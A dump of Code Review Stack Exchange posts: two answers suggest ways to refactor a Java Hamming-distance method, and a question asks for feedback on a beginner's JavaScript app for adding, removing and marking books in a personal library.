"body": "<p>I'm agree with @TobySpeight's <a href=\"https://codereview.stackexchange.com/a/236838/203649\">answer</a> so I only focus on refactoring your <code>if else</code> code:</p>\n\n<blockquote>\n<pre><code>String binx = Integer.toBinaryString(x);\nString biny = Integer.toBinaryString(y);\nint dif = 0;\nStringBuilder sb = new StringBuilder();\nif (binx.length() > biny.length()) {\n dif = binx.length() - biny.length();\n for (int i = 0; i < dif; i++) {\n sb.append(0); \n }\n biny = sb.toString().concat(biny);\n} else if (biny.length() > binx.length()) {\n dif = biny.length() - binx.length();\n for (int i = 0; i < dif; i++) {\n sb.append(0); \n }\n binx = sb.toString().concat(binx);\n}\n</code></pre>\n</blockquote>\n\n<p>You can store the two String in one array and use them by index:</p>\n\n<pre><code>String[] bins = { Integer.toBinaryString(x), Integer.toBinaryString(y) };\nint[] lengths = { bin[0].length(), bin[1].length() };\n</code></pre>\n\n<p>This can be simplified noting that the same block will be executed in both branchs if the absolute difference between <code>binx</code> and <code>biny</code> is not 0 so you can calculate <code>abs</code> of difference rewriting the block like below:</p>\n\n<pre><code>int dif = lengths[0] - lengths[1];\nif (Math.abs(dif) != 0) {\n String s = String.join(\"\", Collections.nCopies(dif, \"0\"));\n int i = dif > 0 ? 1 : 0;\n bins[i] = s + bins[i];\n}\n</code></pre>\n\n<p>I used <code>String.join</code> and <code>Collections.ncopies</code> methods to obtain a string composed by n '0' chars.</p>\n\n<p>Below the complete code of the method:</p>\n\n<pre><code>public static int hammingDistance(int x, int y) {\n String[] bins = { Integer.toBinaryString(x), Integer.toBinaryString(y) };\n int[] lengths = { bins[0].length(), bins[1].length() };\n\n int dif = lengths[0] - lengths[1];\n if (Math.abs(dif) != 0) {\n String s = String.join(\"\", Collections.nCopies(dif, \"0\"));\n int i = dif > 0 ? 1 : 0;\n bins[i] = s + bins[i];\n }\n\n int dist = 0;\n for (int i = 0; i < lengths[0]; ++i) {\n if (bins[0].charAt(i) != bins[1].charAt(i)) {\n ++dist;\n } \n }\n\n return dist;\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T19:53:03.947",
"Id": "236859",
"ParentId": "236834",
"Score": "1"
}
},
{
"body": "<p>I have suggestion for you.</p>\n\n<ol>\n<li>I suggest that you extract the length of the <code>binx</code> and <code>biny</code> in two variables, so you can use them instead of recalling the <code>java.lang.String#length</code> each time.</li>\n</ol>\n\n<pre class=\"lang-java prettyprint-override\"><code>String binx = Integer.toBinaryString(x);\nint binxLength = binx.length();\nString biny = Integer.toBinaryString(y);\nint binyLength = biny.length();\n\n//[...]\nif (binxLength > binyLength) {\n //[...]\n}\n//[...]\n</code></pre>\n\n<ol start=\"2\">\n<li>You can use the method <code>java.lang.String#repeat</code> (java 11+) to repeat the zeros</li>\n</ol>\n\n<pre class=\"lang-java prettyprint-override\"><code> sb.append(\"0\".repeat(dif));\n</code></pre>\n\n<ol start=\"3\">\n<li>I suggest that you make a method to repeat the zeros.</li>\n</ol>\n\n<pre class=\"lang-java prettyprint-override\"><code>private String repeatZeros(int nb) {\n return \"0\".repeat(nb);\n}\n</code></pre>\n\n<ol start=\"4\">\n<li>In my opinion, the <code>dif</code> variable is useless, you can inline it.</li>\n</ol>\n\n<pre class=\"lang-java prettyprint-override\"><code>sb.append(repeatZeros(binxLength - binyLength));\n</code></pre>\n\n<ol start=\"5\">\n<li>Since you are not concatenating the <code>String</code> in a loop, instead of using the <code>StringBuilder</code>, you can concat them directly.</li>\n</ol>\n\n<pre class=\"lang-java prettyprint-override\"><code>if (binxLength > binyLength) {\n biny = repeatZeros(binxLength - binyLength) + biny;\n} else if (binyLength > binxLength) {\n binx = repeatZeros(binyLength - binxLength) + binx;\n}\n</code></pre>\n\n<ol start=\"6\">\n<li>I suggest that you create a method to pad the binary string.</li>\n</ol>\n\n<pre class=\"lang-java prettyprint-override\"><code>private String padLeftWithZeros(String str, int length) {\n return repeatZeros(length) + str;\n}\n\npublic int hammingDistance(int x, int y) {\n //[...]\n if (binxLength > binyLength) {\n biny = padLeftWithZeros(biny, (binxLength - binyLength));\n } else if (binyLength > binxLength) {\n binx = padLeftWithZeros(binx, (binyLength - binxLength));\n }\n //[...]\n}\n</code></pre>\n\n<ol start=\"6\">\n<li>I suggest that you extract the distance in a method and return the result.</li>\n</ol>\n\n<pre class=\"lang-java prettyprint-override\"><code>public int hammingDistance(int x, int y) {\n //[...]\n return calculateHammingDistance(binx, binxLength, biny);\n}\n\nprivate int calculateHammingDistance(String binx, int binxLength, String biny) {\n int dist = 0;\n for (int i = 0; i < binxLength; i++) {\n if (binx.charAt(i) != biny.charAt(i)) {\n dist++;\n }\n }\n\n return dist;\n}\n</code></pre>\n\n<h3>Refactored code</h3>\n\n<pre class=\"lang-java prettyprint-override\"><code>public int hammingDistance(int x, int y) {\n String binx = Integer.toBinaryString(x);\n int binxLength = binx.length();\n String biny = Integer.toBinaryString(y);\n int binyLength = biny.length();\n\n if (binxLength > binyLength) {\n biny = padLeftWithZeros(biny, (binxLength - binyLength));\n } else if (binyLength > binxLength) {\n binx = padLeftWithZeros(binx, (binyLength - binxLength));\n }\n\n return calculateHammingDistance(binx, binxLength, biny);\n}\n\nprivate String padLeftWithZeros(String str, int length) {\n return repeatZeros(length) + str;\n}\n\nprivate String repeatZeros(int nb) {\n return \"0\".repeat(nb);\n}\n\nprivate int calculateHammingDistance(String binx, int binxLength, String biny) {\n int dist = 0;\n for (int i = 0; i < binxLength; i++) {\n if (binx.charAt(i) != biny.charAt(i)) {\n dist++;\n }\n }\n\n return dist;\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T22:41:37.980",
"Id": "236863",
"ParentId": "236834",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T11:36:53.473",
"Id": "236834",
"Score": "2",
"Tags": [
"java",
"object-oriented"
],
"Title": "Compute Hamming Distance"
}
|
236834
|
<p>I have created my first crud javascript application to help me learn and I'm looking to hear from you any improvements or good practices I could apply to the code I've written.</p>
<p>In my html I have a bookshelf div and the html code needed for a form which pop-ups on the click of <code>addNewBook</code> button.</p>
<p>The code initially loads my library with two hard-coded books, and then allows the user to add new book to the library by filling the form.</p>
<p>Furthermore, each book has a remove from library option.</p>
<pre><code>var body = document.getElementsByTagName("body")[0];
class Book {
constructor(title, author, pages, isRead, isNewlyAdded) {
this.title = title;
this.author = author;
this.pages = pages;
this.isRead = isRead;
this.isNewlyAdded = isNewlyAdded;
}
info() {
return `Book name: ${this.title}. The author is ${this.author} and the number of pages is ${this.pages}.`;
}
}
let myLibrary = [];
function addBookToLibrary(book) {
myLibrary.push(book);
}
let hobbit = new Book("The hobbit", "Tolkien", 323, false, true);
let richDadPoorDad = new Book("Rich dad poor dad", "Kyosaki", 231, true, true);
function addFirstTwoBooks() {
addBookToLibrary(hobbit);
addBookToLibrary(richDadPoorDad);
}
const bookShelf = document.getElementById("bookshelf");
addFirstTwoBooks();
function render() {
for (let i = 0; i < myLibrary.length; i++) {
if (myLibrary[i].isNewlyAdded) {
myLibrary[i].isNewlyAdded = false;
let newElement = document.createElement('div');
newElement.className = "book-case";
let title = document.createElement('p');
title.innerHTML = `Book title: ${myLibrary[i].title}`;
let author = document.createElement('p');
author.innerHTML = `Book author: ${myLibrary[i].author}`;
let numberOfPages = document.createElement('p');
numberOfPages.innerHTML = `Number of pages: ${myLibrary[i].pages}`;
let readStatus = document.createElement('button');
readStatus.className = 'read-button';
readStatus.innerHTML = `Read status: ${myLibrary[i].isRead}`;
readStatus.addEventListener('click', function () {
myLibrary[i].isRead = !myLibrary[i].isRead;
readStatus.innerHTML = `Read status: ${myLibrary[i].isRead}`;
})
let removeButton = document.createElement('button');
removeButton.innerHTML = "remove";
removeButton.className = "remove-button";
addInfoToElement(newElement, title, author, numberOfPages, readStatus, removeButton);
newElement.id = `bookNumber:${i}`;
bookShelf.appendChild(newElement);
removeButton.addEventListener('click', function () {
bookShelf.removeChild(newElement);
})
}
};
}
render();
let addBookButton = document.createElement("button");
addBookButton.classList.add("newBookButton");
addBookButton.onclick = openForm;
addBookButton.textContent = "Click here to insert a new book";
body.appendChild(addBookButton);
function addInfoToElement(element, title, author, numberOfPages, readStatus, removeButton) {
element.appendChild(title);
element.appendChild(author);
element.appendChild(numberOfPages);
element.appendChild(readStatus);
element.appendChild(removeButton);
}
function openForm() {
document.getElementById("Form").style.display = "block";
}
function closeForm() {
document.getElementById("Form").style.display = "none";
}
var form = document.getElementById('myForm');
function createNewBook() {
let bookTitle = form.elements[0].value;
let bookAuthor = form.elements[1].value;
let numberOfPages = form.elements[2].value;
let isRead = (form.elements[3].value === 'true');
let userCreatedBook = new Book(bookTitle, bookAuthor, numberOfPages, isRead, isNewlyAdded = true);
myLibrary.push(userCreatedBook);
render();
}
function clearDom() {
while (bookShelf.firstChild) {
bookShelf.removeChild(bookShelf.firstChild);
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T11:49:16.837",
"Id": "464242",
"Score": "0",
"body": "Welcome to Code Review! This question is incomplete because it lacks the description of what the code does. To help reviewers give you better answers, please add sufficient description to your question, preferably with an example session. The more you tell us about what your code does and what the purpose of doing that is, the easier it will be for reviewers to help you. See [Questions should include a description of what the code does](https://codereview.meta.stackexchange.com/a/1231)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T11:54:41.493",
"Id": "464243",
"Score": "0",
"body": "Thank you for you comment, I've added a description of what my code does now."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T11:40:31.047",
"Id": "236835",
"Score": "2",
"Tags": [
"javascript"
],
"Title": "Personal library application, allows user to add and remove books and update read status of an existing book"
}
|
236835
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.